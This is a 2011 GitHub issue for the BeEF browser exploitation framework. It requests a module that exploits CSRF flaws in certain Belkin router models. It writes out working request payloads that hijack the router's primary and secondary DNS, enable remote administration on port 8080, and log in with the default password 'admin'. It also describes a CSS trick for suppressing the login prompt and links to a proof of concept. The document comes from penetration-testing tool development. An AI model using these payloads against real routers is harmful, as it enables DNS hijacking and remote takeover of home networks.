beefproject/beef — Issue #538: RouterPwn - Belkin
Author: passbe
Created: 2011-12-10 23:45:44+00:00
State: open

Add a module to exploit CSRF vulnerabilities in Belkin routers.

[+] Summary:

The module should change the primary and secondary DNS settings and enable remote administration for a Belkin router. It should also attempt authorization using default credentials in case the user's browser is not authorized prior to the attack.

The Cascading Style Sheets "background: url(http://router/)" property should be used (where possible) to prevent the browser from prompting the user with a WWW-Authenticate login prompt. Some research is required to determine whether this trick still works in all browsers.

[+] Models:

F5D8233-4v3, F1PI242EGau (maybe others)

Some research is required to determine whether other models are affected.

[+] Payloads

Primary and Secondary DNS hijack:

http://router/cgi-bin/setup_dns.exe
?dns1_1=192&dns1_2=168&dns1_3=1&dns1_4=1
&dns2_1=192&dns2_2=168&dns2_3=1&dns2_4=1

Enable remote administration:

http://router/cgi-bin/system_setting.exe
?remote_mgmt_enabled=1&remote_mgmt_port=8080

Authorize a user's browser:

http://router/cgi-bin/login.exe
?pws=admin

More payloads are available here: http://www.sourcesec.com/Lab/soho_router_report.pdf

A PoC exploit is available here: http://itsecuritysolutions.org/2009-05-04_belkin_wireless_F1PI242EGau_iinet_multiple_vulnerabilities/
Google Code Issue: http://code.google.com/p/beef/issues/detail?id=411